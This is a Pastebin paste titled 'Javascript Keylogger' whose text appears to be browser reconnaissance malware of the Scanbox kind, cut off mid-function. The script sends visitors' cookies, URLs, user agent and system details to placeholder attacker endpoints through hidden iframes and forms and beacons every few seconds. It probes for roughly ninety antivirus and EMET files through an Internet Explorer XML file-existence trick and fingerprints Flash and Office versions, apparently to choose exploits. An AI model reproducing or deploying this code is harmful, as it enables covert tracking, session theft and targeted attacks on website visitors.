Advertisement
Guest User

Javascript Keylogger

a guest
Dec 1st, 2014
2,723
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 31.42 KB | None | 0 0
  1. function setCookie(id,value,bool)
  2. {
  3. d=new Date();
  4. if(bool==1)
  5. {
  6. d.setTime(d.getTime()+365*10*24*60*60*1000);
  7. }
  8. else
  9. {
  10. d.setTime(d.getTime()-365*10*24*60*60*1000);
  11. }
  12. document.cookie = id+”=”+value+”;path=/;expires=”+d.toGMTString();
  13. }
  14.  
  15. function getCookie(name)
  16. {
  17. var arr = document.cookie.match(new RegExp(“(^| )”+name+”=([^;]*)(;|$)”));
  18. if(arr != null) return unescape(arr[2]); return -1;
  19.  
  20. }
  21.  
  22. function setRecordid()
  23. {
  24. d=new Date();
  25. var time=d.getTime().toString();
  26. var random=(Math.random()*10000000000).toString().substring(0,4);
  27. var seed=parseInt(random+time);
  28. setCookie(“recordid”,seed,0);
  29. setCookie(“recordid”,seed,1);
  30. return seed;
  31.  
  32. }
  33.  
  34. var scanbox={};
  35. var plugin_return={};
  36.  
  37. scanbox.basicposturl=”http://{SITE}/recv.php”;
  38. scanbox.basicliveurl=”http://{SITE}/s.php”;
  39. scanbox.basicplguinurl=”http://{SITE}/p.php”;
  40. scanbox.basicposturlkeylogs=”http://{SITE}/k.php”;
  41. scanbox.info = {};
  42. scanbox.info.projectid=”9″;
  43. scanbox.info.seed=setRecordid();
  44. scanbox.info.ip = “{IP}”;
  45. scanbox.info.referrer = document.referrer;
  46. scanbox.info.agent = navigator.userAgent;
  47. scanbox.info.location = window.location.href;
  48. scanbox.info.toplocation = top.location.href;
  49. scanbox.info.cookie = document.cookie;
  50. scanbox.info.title = document.title;
  51. scanbox.info.domain = document.domain;
  52. scanbox.info.charset = document.characterSet ? document.characterSet: document.charset;
  53. scanbox.info.screen = function()
  54. {
  55. var c = “”;
  56. if (self.screen)
  57. {
  58. c = screen.width + “x” + screen.height;
  59. }
  60. return c;
  61. } ();
  62. scanbox.info.platform = navigator.platform;
  63.  
  64. if (window.ActiveXObject)
  65. {
  66. scanbox.info.lang = navigator.systemLanguage;
  67. } else
  68. {
  69. scanbox.info.lang = navigator.language;
  70.  
  71. }
  72.  
  73. plugin_return.ip=scanbox.info.ip;
  74. plugin_return.referrer=scanbox.info.referrer;
  75. plugin_return.agent=scanbox.info.agent;
  76. plugin_return.location=scanbox.info.location;
  77. plugin_return.toplocation=scanbox.info.toplocation;
  78. plugin_return.cookie=scanbox.info.cookie;
  79. plugin_return.title=scanbox.info.title;
  80. plugin_return.domain=scanbox.info.domain;
  81. plugin_return.charset=scanbox.info.charset;
  82. plugin_return.screen=scanbox.info.screen;
  83. plugin_return.platform=scanbox.info.platform;
  84. plugin_return.lang=scanbox.info.lang;
  85.  
  86. var data=””;
  87. for(x in scanbox.info)
  88. {
  89. data+=x+” “+scanbox.info[x]+”\r\n”;
  90. }
  91.  
  92. scanbox.random = function(a)
  93. {
  94. return ((!a) ? ‘x-‘: a) + Math.floor(Math.random() * 99999);
  95. };
  96. scanbox.iframe = function(a, b, c)
  97. {
  98. var o = document.createElement(“iframe”);
  99. if (a) o.src = a;
  100. o.width = o.height = 0;
  101. o.id = b ? b: “__iframe”;
  102. if (c) o.onload = c;
  103. document.getElementsByTagName(“head”)[0].appendChild(o);
  104. return o;
  105. }
  106.  
  107. scanbox.get=function(o)
  108. {
  109.  
  110. var random=scanbox.random();
  111. var url=o.url;
  112. var dataarr = o.data;
  113. var data=””;
  114. var temp=new Array();
  115. for(x in dataarr)
  116. {
  117. temp.push(x+”=”+scanbox.crypt.encode(dataarr[x]));
  118. }
  119. temp=temp.join(“&”);
  120. url=url+”?”+temp;
  121. var img=new Image();
  122. img.src=url;
  123.  
  124. }
  125.  
  126. scanbox.post = function(o)
  127. {
  128.  
  129. var random=scanbox.random();
  130. try
  131. {
  132. iframe_tag = document.createElement(unescape(“%3Ciframe%20id%3D”+random+”%20name%3D”+random+”%20style%3Ddisplay%3Anone%3E”));
  133. document.getElementsByTagName(‘head’).item(0).appendChild(iframe_tag);
  134. var form_tag = document.createElement(“form”);
  135. form_tag.target=random;
  136. form_tag.method=”POST”;
  137. form_tag.action = o.url;
  138. document.getElementsByTagName(‘head’).item(0).appendChild(form_tag);
  139. var dataarr = o.data;
  140. for(x in dataarr)
  141. {
  142. var i = document.createElement(“input”);
  143. i.type = “hidden”;
  144. i.name = x;
  145. i.value = scanbox.crypt.encode(dataarr[x]);
  146. form_tag.appendChild(i);
  147. }
  148. form_tag.submit();
  149. }
  150. catch(e)
  151. {
  152. iframe_tag = document.createElement(‘iframe’);
  153. iframe_tag.id=random;
  154. iframe_tag.setAttribute(“name”, random);
  155. iframe_tag.setAttribute(“width”, “0”);
  156. iframe_tag.setAttribute(“height”, “0”);
  157. document.getElementsByTagName(‘head’)[0].appendChild(iframe_tag);
  158. var form_tag = document.createElement(“form”);
  159. form_tag.setAttribute(“target”, random);
  160. form_tag.setAttribute(“action” ,o.url);
  161. form_tag.setAttribute(“method” ,”POST”);
  162. document.getElementsByTagName(‘head’)[0].appendChild(form_tag);
  163. var dataarr = o.data;
  164. for(x in dataarr)
  165. {
  166. var i = document.createElement(“input”);
  167. i.setAttribute(“type”,”hidden”);
  168. i.setAttribute(“name”,x);
  169. i.setAttribute(“value”,scanbox.crypt.encode(dataarr[x]));
  170. form_tag.appendChild(i);
  171. }
  172. form_tag.submit();
  173. }
  174. }
  175.  
  176. scanbox.htmlencode=function(o)
  177. {
  178. o=o.replace(/&/g,’&amp;’).replace(/\”/g,’&quot;’).replace(/</g,’&lt;’).replace(/>/g,’&gt;’);
  179. return o;
  180. }
  181. scanbox.crypt =
  182. {
  183. _keyStr : “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=”,
  184. encode : function (input) {
  185. var output = “”;
  186. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  187. var i = 0;
  188. input = scanbox.crypt._utf8_encode(input);
  189. while (i < input.length) {
  190. chr1 = input.charCodeAt(i++);
  191. chr2 = input.charCodeAt(i++);
  192. chr3 = input.charCodeAt(i++);
  193. enc1 = chr1 >> 2;
  194. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  195. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  196. enc4 = chr3 & 63;
  197. if (isNaN(chr2)) {
  198. enc3 = enc4 = 64;
  199. } else if (isNaN(chr3)) {
  200. enc4 = 64;
  201. }
  202. output = output +
  203. this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
  204. this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
  205. }
  206. return output;
  207. },
  208.  
  209. decode : function (input) {
  210. var output = “”;
  211. var chr1, chr2, chr3;
  212. var enc1, enc2, enc3, enc4;
  213. var i = 0;
  214. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, “”);
  215. while (i < input.length) {
  216. enc1 = this._keyStr.indexOf(input.charAt(i++));
  217. enc2 = this._keyStr.indexOf(input.charAt(i++));
  218. enc3 = this._keyStr.indexOf(input.charAt(i++));
  219. enc4 = this._keyStr.indexOf(input.charAt(i++));
  220. chr1 = (enc1 << 2) | (enc2 >> 4);
  221. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  222. chr3 = ((enc3 & 3) << 6) | enc4;
  223. output = output + String.fromCharCode(chr1);
  224. if (enc3 != 64) {
  225. output = output + String.fromCharCode(chr2);
  226. }
  227. if (enc4 != 64) {
  228. output = output + String.fromCharCode(chr3);
  229. }
  230. }
  231. output = scanbox.crypt._utf8_decode(output);
  232. return output;
  233. },
  234. _utf8_encode : function (string) {
  235. string=string.toString();
  236. string = string.replace(/\r\n/g,”\n”);
  237. var utftext = “”;
  238. for (var n = 0; n < string.length; n++) {
  239. var c = string.charCodeAt(n);
  240. if (c < 128) {
  241. utftext += String.fromCharCode(c);
  242. }
  243. else if((c > 127) && (c < 2048)) {
  244. utftext += String.fromCharCode((c >> 6) | 192);
  245. utftext += String.fromCharCode((c & 63) | 128);
  246. }
  247. else {
  248. utftext += String.fromCharCode((c >> 12) | 224);
  249. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  250. utftext += String.fromCharCode((c & 63) | 128);
  251. }
  252. }
  253. return utftext;
  254. },
  255. _utf8_decode : function (utftext) {
  256. var string = “”;
  257. var i = 0;
  258. var c = c1 = c2 = 0;
  259. while ( i < utftext.length ) {
  260. c = utftext.charCodeAt(i);
  261. if (c < 128) {
  262. string += String.fromCharCode(c);
  263. i++;
  264. }
  265. else if((c > 191) && (c < 224)) {
  266. c2 = utftext.charCodeAt(i+1);
  267. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  268. i += 2;
  269. }
  270. else {
  271. c2 = utftext.charCodeAt(i+1);
  272. c3 = utftext.charCodeAt(i+2);
  273. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  274. i += 3;
  275. }
  276. }
  277. return string;
  278. }
  279. }
  280. scanbox.basicpost=function()
  281. {
  282. var basic={};
  283. basic.url=scanbox.basicposturl;
  284. basic.data=scanbox.info;
  285. scanbox.post(basic);
  286. }
  287. scanbox.hostalive=function()
  288. {
  289. var basic={};
  290. d=new Date();
  291. var time=d.getTime().toString().substring(0,10);
  292. basic.url=scanbox.basicliveurl;
  293. var temp=new Image();
  294. temp.src=basic.url+”?seed=”+scanbox.crypt.encode(scanbox.info.seed)+”&alivetime=”+scanbox.crypt.encode(time)+”&r=”+Math.random();
  295.  
  296. }
  297. scanbox.basicpost();
  298.  
  299. setInterval(“scanbox.hostalive();”,4000);
  300.  
  301. (function(){
  302.  
  303. try
  304. {
  305.  
  306. basic={};
  307. basic.data={};
  308. plugin_timeout=0;
  309. basic.url=scanbox.basicplguinurl;
  310. basic.data.pluginid=1;
  311. basic.data.projectid=9;
  312. basic.data.seed=scanbox.info.seed;
  313. var softwarelist=new Array();
  314. //software list start<<<
  315.  
  316. softwarelist.push(“avira==c:\\WINDOWS\\system32\\drivers\\avipbb.sys”);
  317. softwarelist.push(“bitdefender_2013==c:\\Program Files\\Bitdefender\\Bitdefender 2013 BETA\\BdProvider.dll”);
  318. softwarelist.push(“bitdefender_2013==c:\\Program Files\\Bitdefender\\Bitdefender 2013 BETA\\Active Virus Control\\avc3_000_001\\avcuf32.dll”);
  319. softwarelist.push(“mcafee_enterprise==c:\\Program Files\\McAfee\\VirusScan Enterprise\\RES0402\\McShield.dll”);
  320. softwarelist.push(“mcafee_enterprise==c:\\Program Files\\Common Files\\McAfee\\SystemCore\\mytilus3.dll”);
  321. softwarelist.push(“mcafee_enterprise==c:\\Program Files\\Common Files\\McAfee\\SystemCore\\mytilus3_worker.dll”);
  322. softwarelist.push(“avg2012==c:\\Program Files\\AVG Secure Search\\13.2.0.4\\AVG Secure Search_toolbar.dll”);
  323. softwarelist.push(“avg2012==c:\\Program Files\\Common Files\\AVG Secure Search\\DNTInstaller\\13.2.0\\avgdttbx.dll”);
  324. softwarelist.push(“avg2012==c:\\WINDOWS\\system32\\drivers\\avgtpx86.sys”);
  325. softwarelist.push(“eset_nod32==c:\\WINDOWS\\system32\\drivers\\eamon.sys”);
  326. softwarelist.push(“Dr.Web==c:\\Program Files\\DrWeb\\drwebsp.dll”);
  327. softwarelist.push(“Mse==c:\\WINDOWS\\system32\\drivers\\MpFilter.sys”);
  328. softwarelist.push(“sophos==c:\\PROGRA~1\\Sophos\\SOPHOS~1\\SOPHOS~1.DLL”);
  329. softwarelist.push(“f-secure2011==c:\\program files\\f-secure\\scanner-interface\\fsgkiapi.dll”);
  330. softwarelist.push(“f-secure2011==c:\\Program Files\\F-Secure\\FSPS\\program\\FSLSP.DLL”);
  331. softwarelist.push(“f-secure2011==c:\\program files\\f-secure\\hips\\fshook32.dll”);
  332. softwarelist.push(“Kaspersky_2012==c:\\Program Files\\Kaspersky Lab\\Kaspersky Anti-Virus 2012\\klwtblc.dll”);
  333. softwarelist.push(“Kaspersky_2012==c:\\WINDOWS\\system32\\drivers\\klif.sys”);
  334. softwarelist.push(“Kaspersky_2013==c:\\Program Files\\Kaspersky Lab\\Kaspersky Anti-Virus 2013\\remote_eka_prague_loader.dll”);
  335. softwarelist.push(“Kaspersky_2013==c:\\Program Files\\Kaspersky Lab\\Kaspersky Anti-Virus 2013\\klwtblc.dll”);
  336. softwarelist.push(“Kaspersky_2013==c:\\WINDOWS\\system32\\drivers\\kneps.sys”);
  337. softwarelist.push(“Kaspersky_2013==c:\\WINDOWS\\system32\\drivers\\klflt.sys”);
  338. softwarelist.push(“WinRAR==c:\\Program Files\\WinRAR\\WinRAR.exe”);
  339. softwarelist.push(“iTunes==c:\\Program Files (x86)\\iTunes\\iTunesHelper.exe”);
  340. softwarelist.push(“iTunes==c:\\Program Files\\iTunes\\iTunesHelper.exe”);
  341. softwarelist.push(“SQLServer==c:\\Program Files (x86)\\Microsoft SQL Server\\80\\COM\\sqlvdi.dll”);
  342. softwarelist.push(“SQLServer==c:\\Program Files\\Microsoft SQL Server\\80\\COM\\sqlvdi.dll”);
  343. softwarelist.push(“SQLServer==c:\\Program Files (x86)\\Microsoft SQL Server\\90\\COM\\instapi.dll”);
  344. softwarelist.push(“SQLServer==c:\\Program Files\\Microsoft SQL Server\\90\\COM\\instapi.dll”);
  345. softwarelist.push(“winzip==c:\\Program Files\\WinZip\\WZSHLSTB.DLL”);
  346. softwarelist.push(“winzip==c:\\Program Files\\WinZip\\ZipSendB.dll”);
  347. softwarelist.push(“7z==c:\\Program Files (x86)\\7-Zip\\7z.exe”);
  348. softwarelist.push(“7z==c:\\Program Files\\7-Zip\\7z.exe”);
  349. softwarelist.push(“vmware-server==c:\\WINDOWS\\system32\\drivers\\vmx86.sys”);
  350. softwarelist.push(“vmware-server==c:\\WINDOWS\\system32\\drivers\\vmnet.sys”);
  351. softwarelist.push(“vmware-client==c:\\WINDOWS\\system32\\drivers\\vmxnet.sys”);
  352. softwarelist.push(“symantec-endpoint==c:\\WINDOWS\\system32\\drivers\\WpsHelper.sys”);
  353. softwarelist.push(“symantec-endpoint==c:\\WINDOWS\\system32\\drivers\\SYMEVENT.SYS”);
  354. softwarelist.push(“symantec-endpoint==c:\\Program Files\\Symantec\\Symantec Endpoint Protection\\wpsman.dll”);
  355. softwarelist.push(“F-Secure==C:\\Program Files\\F-Secure\\ExploitShield\\fsesgui.exe”);
  356. softwarelist.push(“antiyfx==C:\\Program Files\\agb7pro\\agb.exe”);
  357. softwarelist.push(“ESTsoft==C:\\Program Files\\ESTsoft\\ALYac\\AYLaunch.exe”);
  358. softwarelist.push(“ESTsoft==C:\\WINDOWS\\system32\\drivers\\EstRtw.sys”);
  359. softwarelist.push(“Fortinet==C:\\Program Files\\Fortinet\\FortiClient\\FortiClient.exe”);
  360. softwarelist.push(“Fortinet==C:\\WINDOWS\\system32\\drivers\\FortiRdr.sys”);
  361. softwarelist.push(“ViRobot4==C:\\Program Files\\ViRobotXP\\Vrmonnt.exe”);
  362. softwarelist.push(“VirusBuster==C:\\Program Files\\VirusBuster\\winpers.exe”);
  363. softwarelist.push(“VirusBuster==C:\\WINDOWS\\system32\\drivers\\vbengnt.sys”);
  364. softwarelist.push(“COMODO==C:\\WINDOWS\\system32\\drivers\\cmderd.sys”);
  365. softwarelist.push(“a-squared==C:\\Program Files\\a-squared Anti-Malware\\a2cmd.exe”);
  366. softwarelist.push(“IKARUS==C:\\Program Files\\IKARUS\\anti.virus\\unGuardX.exe”);
  367. softwarelist.push(“sophos==C:\\WINDOWS\\system32\\drivers\\SophosBootDriver.sys”);
  368. softwarelist.push(“sophos==C:\\Program Files\\Sophos\\Sophos Anti-Virus\\SavMain.exe”);
  369. softwarelist.push(“Nprotect==C:\\Program Files\\INCAInternet\\nProtect Anti-Virus Spyware 3.0\\nsphsvr.exe”);
  370. softwarelist.push(“Trend2013==C:\\Program Files\\Trend Micro\\Titanium\\UIFramework\\uiWinMgr.exe”);
  371. softwarelist.push(“Trend2013==C:\\WINDOWS\\system32\\drivers\\tmtdi.sys”);
  372. softwarelist.push(“Norton==C:\\Program Files\\Norton Internet Security\\Branding\\muis.dll”);
  373. softwarelist.push(“Norton==C:\\WINDOWS\\system32\\drivers\\SYMEVENT.SYS”);
  374. softwarelist.push(“Outpost==C:\\Program Files\\Agnitum\\Outpost Security Suite Pro\\acs.exe”);
  375. softwarelist.push(“Outpost==C:\\WINDOWS\\system32\\drivers\\afwcore.sys”);
  376. softwarelist.push(“AhnLab_V3==C:\\Program Files\\AhnLab\\V3IS80\\V3Main.exe”);
  377. softwarelist.push(“F-PROT==C:\\Program Files\\FRISK Software\\F-PROT Antivirus for Windows\\FPWin.exe”);
  378. softwarelist.push(“F-PROT==C:\\WINDOWS\\system32\\drivers\\FStopW.sys”);
  379. softwarelist.push(“ESET-SMART==C:\\Program Files\\ESET\\ESET Smart Security\\egui.exe”);
  380. softwarelist.push(“ESET-SMART==C:\\WINDOWS\\system32\\drivers\\eamon.sys”);
  381. softwarelist.push(“Kaspersky_Endpoint_Security_8==C:\\Program Files\\Kaspersky Lab\\Kaspersky Endpoint Security 8 for Windows\\avp.exe”);
  382. softwarelist.push(“Norman==C:\\Program Files\\Norman\\Nse\\Bin\\nse.exe”);
  383. softwarelist.push(“Norman==C:\\WINDOWS\\system32\\drivers\\nvcw32mf.sys”);
  384. softwarelist.push(“Sunbelt==C:\\Program Files\\Sunbelt Software\\Personal Firewall\\cfgconv.exe”);
  385. softwarelist.push(“QuickHeal==C:\\Program Files\\Quick Heal\\Quick Heal Total Security\\ARKIT.EXE”);
  386. softwarelist.push(“QuickHeal==C:\\WINDOWS\\system32\\drivers\\catflt.sys”);
  387. softwarelist.push(“Immunet==C:\\Program Files\\Immunet\\ips.exe”);
  388. softwarelist.push(“Immunet==C:\\WINDOWS\\system32\\drivers\\ImmunetProtect.sys”);
  389. softwarelist.push(“JiangMin==C:\\Program Files\\JiangMin\\AntiVirus\\KVPopup.exe”);
  390. softwarelist.push(“JiangMin==C:\\WINDOWS\\system32\\drivers\\SysGuard.sys”);
  391. softwarelist.push(“PC_Tools==C:\\Program Files\\PC Tools Antivirus Software\\pctsGui.exe”);
  392. softwarelist.push(“Rising_firewall==C:\\Program Files\\Rising\\RFW\\RavMonD.exe”);
  393. softwarelist.push(“Rising_firewall==C:\\WINDOWS\\system32\\drivers\\protreg.sys”);
  394. softwarelist.push(“BkavHome==C:\\Program Files\\BkavHome\\Bka.exe”);
  395. softwarelist.push(“BkavHome==C:\\WINDOWS\\system32\\drivers\\BkavAuto.sys”);
  396. softwarelist.push(“SUPERAntiSpyware==C:\\Program Files\\SUPERAntiSpyware\\SUPERAntiSpyware.exe”);
  397. softwarelist.push(“Rising==C:\\Program Files\\Rising\\RIS\\LangSel.exe”);
  398. softwarelist.push(“Rising==C:\\WINDOWS\\system32\\drivers\\HookHelp.sys”);
  399. softwarelist.push(“Symantec_Endpoint12==C:\\Program Files\\Symantec\\Symantec Endpoint Protection\\DoScan.exe”);
  400. softwarelist.push(“eScan==C:\\Program Files\\eScan\\shortcut.exe”);
  401. softwarelist.push(“eScan==C:\\WINDOWS\\system32\\drivers\\econceal.sys”);
  402. softwarelist.push(“Bit9==C:\\Windows\\System32\\drivers\\Parity.sys”);
  403. softwarelist.push(“emet4.1==C:\\Program Files (x86)\\EMET 4.1\\EMET.dll”);
  404. softwarelist.push(“emet4.1==C:\\Program Files\\EMET 4.1\\EMET.dll”);
  405. softwarelist.push(“emet4.1==d:\\Program Files\\EMET 4.1\\EMET.dll”);
  406. softwarelist.push(“emet4.1==D:\\Program Files (x86)\\EMET 4.1\\EMET.dll”);
  407. softwarelist.push(“emet5.0==C:\\Program Files (x86)\\EMET 5.0\\EMET.dll”);
  408. softwarelist.push(“emet5.0==C:\\Program Files\\EMET 5.0\\EMET.dll”);
  409. softwarelist.push(“emet5.0==d:\\Program Files (x86)\\EMET 5.0\\EMET.dll”);
  410. softwarelist.push(“emet5.0==d:\\Program FilesEMET 5.0\\EMET.dll”);
  411.  
  412. //software list end.
  413.  
  414. var templateString = “<“+”?xml version=\”1.0\” ?><\!DOCTYPE anything SYSTEM \”$target$\”>”;
  415. var _debug = false;
  416. var RESULTS =
  417. {
  418. UNKNOWN : {value: 0, message: “Unknown!”, color: “black”, data: “”},
  419. BADBROWSER: {value: 1, message: “Browser is not supported. You need IE!”, color: “black”, data: “”},
  420. FILEFOUND : {value: 2, message: “File was found!”, color: “green”, data: “”},
  421. FOLDERFOUND : {value: 3, message: “Folder was found!”, color: “green”, data: “”},
  422. NOTFOUND : {value: 4, message: “Object was not found!”, color: “red”, data: “”},
  423. ALIVE : {value: 5, message: “Alive address!”, color: “green”, data: “”},
  424. MAYBEALIVE : {value: 6, message: “Maybe an alive address!”, color: “blue”, data: “”},
  425. DEAD : {value: 7, message: “Dead to me! Undetectable?”, color: “red”, data: “”},
  426. VALIDDRIVE : {value: 8, message: “Available Drive!”, color: “green”, data: “”},
  427. INVALIDDRIVE : {value: 9, message: “Unavailable Drive!”, color: “red”, data: “”}
  428. };
  429.  
  430. function checkFiles()
  431. {
  432. var datares=new Array();
  433. strInput=softwarelist;
  434. var name=new Array();
  435. var files=new Array();
  436. for(i=0;i<strInput.length;i++)
  437. {
  438. if(strInput[i]!=””)
  439. {
  440. var temp=strInput[i].split(“==”);
  441. name.push(temp[0]);
  442. files.push(temp[1]);
  443. }
  444. }
  445. var preMagics = [“res://”,”\\\\localhost\\”, “file:\\\\localhost\\”, “file:\\”];
  446. var postMagics = [“::$index_allocation”];
  447. for (j=0;j<files.length;j++)
  448. {
  449. var item=files[j];
  450. var filename = item.fulltrim();
  451. if (filename != “”)
  452. {
  453. filename = preMagics[0] + filename;
  454. var result = validateXML(templateString.replace(“$target$”, filename));
  455. if (result == RESULTS.FOLDERFOUND || result == RESULTS.ALIVE)
  456. result = RESULTS.UNKNOWN;
  457. result.data = filename;
  458. if(result.value==2)
  459. {
  460. datares.push(name[j]);
  461. }
  462. }
  463. }
  464. return datares;
  465. }
  466. if (typeof String.prototype.fulltrim !== “function”)
  467. {
  468. String.prototype.fulltrim = function ()
  469. {
  470. return this.replace(/(?:(?:^|\n)\s+|\s+(?:$|\n))/g, “”).replace(/\s+/g, ” “);
  471. };
  472. };
  473.  
  474. function validateXML(txt, _isDebugMode)
  475. {
  476. var result = RESULTS.UNKNOWN;
  477. if (window.ActiveXObject)
  478. {
  479. var xmlDoc = new ActiveXObject(“Microsoft.XMLDOM”);
  480. xmlDoc.async = true;
  481. try
  482. {
  483. xmlDoc.loadXML(txt);
  484. if (xmlDoc.parseError.errorCode != 0)
  485. {
  486. var err;
  487. err = “Error Code: ” + xmlDoc.parseError.errorCode + “\n”;
  488. err += “Error Reason: ” + xmlDoc.parseError.reason;
  489. err += “Error Line: ” + xmlDoc.parseError.line;
  490. var errReason = err;
  491.  
  492. if(errReason.indexOf(“-2147023083″)>0)
  493. {
  494. result = RESULTS.FILEFOUND;
  495. }
  496. }
  497. } catch (e)
  498. {
  499. result = RESULTS.UNKNOWN;
  500. }
  501. } else
  502. {
  503. result = RESULTS.UNKNOWN;
  504. }
  505. result.data = “”;
  506. return result;
  507. }
  508.  
  509. Array.prototype.uniquefun = function() {
  510. var res = [], hash = {};
  511. for(var i=0, elem; (elem = this[i]) != null; i++) {
  512. if (!hash[elem])
  513. {
  514. res.push(elem);
  515. hash[elem] = true;
  516. }
  517. }
  518. return res;
  519. }
  520.  
  521. var data=(checkFiles());
  522. data=data.uniquefun();
  523. data=data.join(“,”);
  524. data=data.replace(/,,/g,”,”);
  525. return_data=data;
  526. plugin_return.softwarescan=data;
  527.  
  528. basic.data.data=”No return data!”;
  529. try
  530. {
  531. basic.data.data=return_data;
  532. }
  533. catch(e)
  534. {
  535. basic.data.data=”No return data!”;
  536. }
  537. if(plugin_timeout==0)
  538. {
  539. scanbox.post(basic);
  540. }
  541. else
  542. {
  543. window.setTimeout(function(){scanbox.post(basic);},plugin_timeout*1000);
  544. }
  545.  
  546. }
  547. catch(e)
  548. {}
  549.  
  550. })();
  551. (function(){
  552.  
  553. try
  554. {
  555.  
  556. basic={};
  557. basic.data={};
  558. plugin_timeout=0;
  559. basic.url=scanbox.basicplguinurl;
  560. basic.data.pluginid=3;
  561. basic.data.projectid=9;
  562. basic.data.seed=scanbox.info.seed;
  563. function flashver()
  564. {
  565. var flash = function () {};
  566. flash.prototype.controlVersion = function () {
  567. var version;
  568. var axo;
  569. var e;
  570. try {
  571. axo = new ActiveXObject(“ShockwaveFlash.ShockwaveFlash.7″);
  572. version = axo.GetVariable(“$version”)
  573. } catch (e) {}
  574.  
  575. if (!version) {
  576. try {
  577. axo = new ActiveXObject(“ShockwaveFlash.ShockwaveFlash.6″);
  578. version = “WIN 6,0,21,0″;
  579. axo.AllowScriptAccess = “always”;
  580. version = axo.GetVariable(“$version”)
  581. } catch (e) {}
  582.  
  583. }
  584. if (!version) {
  585. try {
  586. axo = new ActiveXObject(“ShockwaveFlash.ShockwaveFlash.3″);
  587. version = axo.GetVariable(“$version”)
  588. } catch (e) {}
  589.  
  590. }
  591. if (!version) {
  592. try {
  593. axo = new ActiveXObject(“ShockwaveFlash.ShockwaveFlash.3″);
  594. version = “WIN 3,0,18,0″
  595. } catch (e) {}
  596.  
  597. }
  598. if (!version) {
  599. try {
  600. axo = new ActiveXObject(“ShockwaveFlash.ShockwaveFlash”);
  601. version = “WIN 2,0,0,11″
  602. } catch (e) {
  603. version = -1
  604. }
  605. }
  606. var verArr = version.toString().split(“,”);
  607. var str = “”;
  608. for (var i = 0, l = verArr.length; i < l; i++) {
  609. if (verArr[i].indexOf(“WIN”) != -1) {
  610. str += verArr[i].substring(3);
  611. str += “.”
  612. } else {
  613. if (i == (l – 1)) {
  614. str += verArr[i]
  615. } else {
  616. str += verArr[i];
  617. str += “.”
  618. }
  619. }
  620. }
  621. return (str)
  622. };
  623. flash.prototype.getSwfVer = function () {
  624. var isIE = (navigator.appVersion.indexOf(“MSIE”) != -1) ? true : false;
  625. var isWin = (navigator.appVersion.toLowerCase().indexOf(“win”) != -1) ? true : false;
  626. var isOpera = (navigator.userAgent.indexOf(“Opera”) != -1) ? true : false;
  627. var flashVer = -1;
  628. if (navigator.plugins != null && navigator.plugins.length > 0) {
  629. if (navigator.plugins[“Shockwave Flash 2.0″] || navigator.plugins[“Shockwave Flash”]) {
  630. var swVer2 = navigator.plugins[“Shockwave Flash 2.0″] ? ” 2.0″ : “”;
  631. var flashDescription = navigator.plugins[“Shockwave Flash” + swVer2].description;
  632. var descArray = flashDescription.split(” “);
  633. var tempArrayMajor = descArray[2].split(“.”);
  634. var versionMajor = tempArrayMajor[0];
  635. var versionMinor = tempArrayMajor[1];
  636. var versionRevision = descArray[3];
  637. if (versionRevision == “”) {
  638. versionRevision = descArray[4]
  639. }
  640. if (versionRevision[0] == “d”) {
  641. versionRevision = versionRevision.substring(1)
  642. } else {
  643. if (versionRevision[0] == “r”) {
  644. versionRevision = versionRevision.substring(1);
  645. if (versionRevision.indexOf(“d”) > 0) {
  646. versionRevision = versionRevision.substring(0, versionRevision.indexOf(“d”))
  647. }
  648. }
  649. }
  650. var flashVer = versionMajor + “.” + versionMinor + “.” + versionRevision
  651. }
  652. } else {
  653. if (navigator.userAgent.toLowerCase().indexOf(“webtv/2.6″) != -1) {
  654. flashVer = 4
  655. } else {
  656. if (navigator.userAgent.toLowerCase().indexOf(“webtv/2.5″) != -1) {
  657. flashVer = 3
  658. } else {
  659. if (navigator.userAgent.toLowerCase().indexOf(“webtv”) != -1) {
  660. flashVer = 2
  661. } else {
  662. if (isIE && isWin && !isOpera) {
  663. flashVer = new flash().controlVersion()
  664. }
  665. }
  666. }
  667. }
  668. }
  669. return flashVer
  670. };
  671. if (flash.prototype.getSwfVer() == -1) {
  672. return “No Flash!”
  673. } else {
  674. return “Shockwave Flash ” + flash.prototype.getSwfVer()
  675. }
  676. }
  677. return_data=flashver();
  678. plugin_return.flashver=flashver();
  679. basic.data.data=”No return data!”;
  680. try
  681. {
  682. basic.data.data=return_data;
  683. }
  684. catch(e)
  685. {
  686. basic.data.data=”No return data!”;
  687. }
  688. if(plugin_timeout==0)
  689. {
  690. scanbox.post(basic);
  691. }
  692. else
  693. {
  694. window.setTimeout(function(){scanbox.post(basic);},plugin_timeout*1000);
  695. }
  696. }
  697. catch(e)
  698. {}
  699. })();
  700. (function(){
  701. try
  702. {
  703. basic={};
  704. basic.data={};
  705. plugin_timeout=0;
  706. basic.url=scanbox.basicplguinurl;
  707. basic.data.pluginid=5;
  708. basic.data.projectid=9;
  709. basic.data.seed=scanbox.info.seed;
  710. function officever()
  711. {
  712. var ma = 1;
  713. var mb = 1;
  714. var mc = 1;
  715. var md = 1;
  716. try {
  717. ma = new ActiveXObject(“SharePoint.OpenDocuments.4″)
  718. } catch (e) {}
  719.  
  720. try {
  721. mb = new ActiveXObject(“SharePoint.OpenDocuments.3″)
  722. } catch (e) {}
  723.  
  724. try {
  725. mc = new ActiveXObject(“SharePoint.OpenDocuments.2″)
  726. } catch (e) {}
  727.  
  728. try {
  729. md = new ActiveXObject(“SharePoint.OpenDocuments.1″)
  730. } catch (e) {}
  731.  
  732. var a = typeof ma;
  733. var b = typeof mb;
  734. var c = typeof mc;
  735. var d = typeof md;
  736. var key = “”;
  737. if (a == “object” && b == “object” && c == “object” && d == “object”) {
  738. key = “Office 2010″
  739. }
  740. if (a == “number” && b == “object” && c == “object” && d == “object”) {
  741. key = “Office 2007″
  742. }
  743. if (a == “number” && b == “number” && c == “object” && d == “object”) {
  744. key = “Office 2003″
  745. }
  746. if (a == “number” && b == “number” && c == “number” && d == “object”) {
